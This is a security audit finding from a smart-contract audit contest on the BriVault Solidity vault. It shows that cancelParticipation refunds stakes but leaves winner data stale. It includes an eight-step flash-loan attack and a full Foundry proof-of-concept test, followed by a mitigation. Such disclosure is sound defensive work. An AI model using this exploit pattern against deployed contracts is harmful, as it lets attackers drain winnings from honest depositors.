BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

Failure to update `userToCountry` mapping details allows user to cancel participation but go ahead and withdraw winnings.

Failure to update userToCountry mapping details allows user to cancel participation but go ahead and withdraw winnings.

Description

  • The cancelParticipation function has a critical vulnerability where it does not update userToCountry mapping details when a user cancels participation, plus, before burning shares, it just checks the balance of shares of the user instead of the shares they received, then refunds them with the staked amount.

    function cancelParticipation() public {
    if (block.timestamp >= eventStartDate) {
    revert eventStarted();
    }
    // @audit `userToCountry` mapping details not updated
    uint256 refundAmount = stakedAsset[msg.sender];
    stakedAsset[msg.sender] = 0;
    uint256 shares = balanceOf(msg.sender);
    _burn(msg.sender, shares);
    IERC20(asset()).safeTransfer(msg.sender, refundAmount);
    }

    An attacker can exploit this vulnerablility by:

    1. Taking a flashloan, deposits and joins event

    2. Transfers all shares received to another wallet they control

    3. Cancles participation, is refunded but burns zero shares

    4. Repays loan (Attacker here pays the fees for the deposit back)

    5. Transfers shares back to their wallet.

    6. Other users deposit and join event

    7. Admin sets winner

    8. Attacker withdraws winnings despite having been refunded because their userToCountry were not updated on cancelling the participation.

Risk

Likelihood:

  • This happens when a user trnasfers shares to another wallet they control and then cancel participation from the wallet holding assets.

Impact:

High

  • Attacker withdraws assets despite having cancelled the participation.

  • Attacker reduces the winnings of other users.

Proof of Concept

Add this test to briVault.t.sol and run forge test --mt testWithdrawAfterCancellingParticipation -vvvv

function setUp() public {
participationFeeBsp = 150; // 1.5%
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
participationFeeAddress = makeAddr("participationFeeAddress");
minimumAmount = 0.0002 ether;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(owner, 20 ether);
mockToken.mint(user1, 20 ether);
mockToken.mint(user2, 20 ether);
mockToken.mint(user3, 20 ether);
mockToken.mint(user4, 20 ether);
mockToken.mint(user5, 20 ether);
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)), // replace `address(0)` with actual _asset address
participationFeeBsp,
eventStartDate,
participationFeeAddress,
minimumAmount,
eventEndDate
);
briVault.approve(address(mockToken), type(uint256).max);
// Admin sets countries
briVault.setCountry(countries);
vm.stopPrank();
}
function testWithdrawAfterCancellingParticipation() public {
address attacker = makeAddr("attacker");
address anotherWalletTheyControl = makeAddr("anotherWalletTheyControl");
address loanProvider = makeAddr("loanProvider");
uint256 flashLoanAmount = 100_000 ether;
uint256 attackerOwnFunds = 1_500 ether; // To pay for deposit fees
mockToken.mint(attacker, flashLoanAmount);
mockToken.mint(attacker, attackerOwnFunds);
// Attacker takes a flashloan, deposits, joins event
// Transfers shares to another wallet they control
// Cancels participation, is refunded but burns zero shares
// Transfers shares back to their wallet
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
uint256 sharesReceived = briVault.deposit(flashLoanAmount, attacker);
briVault.joinEvent(5);
briVault.transfer(anotherWalletTheyControl, sharesReceived);
briVault.cancelParticipation();
// Repays loan
mockToken.transfer(loanProvider, flashLoanAmount); // Flash loan fees ignored
vm.stopPrank();
// Transfers shares back to attacker
vm.startPrank(anotherWalletTheyControl);
briVault.transfer(attacker, sharesReceived);
vm.stopPrank();
// Other users deposit into the tournament
address[] memory otherUsers = new address[](10);
otherUsers[0] = makeAddr("111");
otherUsers[1] = makeAddr("222");
otherUsers[2] = makeAddr("322");
otherUsers[3] = makeAddr("444");
otherUsers[4] = makeAddr("55");
otherUsers[5] = makeAddr("66");
otherUsers[6] = makeAddr("77");
otherUsers[7] = makeAddr("88");
otherUsers[8] = makeAddr("99");
otherUsers[9] = makeAddr("100");
uint256 len2 = otherUsers.length;
for (uint8 x; x < len2; ++x) {
if (x < 3) {
vm.startPrank(otherUsers[x]);
mockToken.mint(otherUsers[x], 20_000 ether);
uint256 amount = 20_000 ether;
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(amount, otherUsers[x]);
briVault.joinEvent(5);
vm.stopPrank();
} else {
vm.startPrank(otherUsers[x]);
mockToken.mint(otherUsers[x], 100_000 ether);
uint256 amount2 = 100_000 ether;
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(amount2, otherUsers[x]);
briVault.joinEvent(10);
vm.stopPrank();
}
}
// Warp the time for the event to start
vm.warp(block.timestamp + 2 days + 1 seconds);
// Warp the time for the event to end
vm.warp(block.timestamp + 31 days);
// Admin sets the winner
vm.startPrank(owner);
briVault.setWinner(5);
vm.stopPrank();
// Attacker now withdraws winnings despite having been refunded
vm.startPrank(attacker);
briVault.withdraw();
vm.stopPrank();
console2.log("Attacker assets: ", mockToken.balanceOf(attacker));
}

Recommended Mitigation

  • On cancelling a user's participation, always update userToCountry mapping details

  • In addition, convert the amount to refund to shares and then burn, if a user has less shares than required, revert.

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!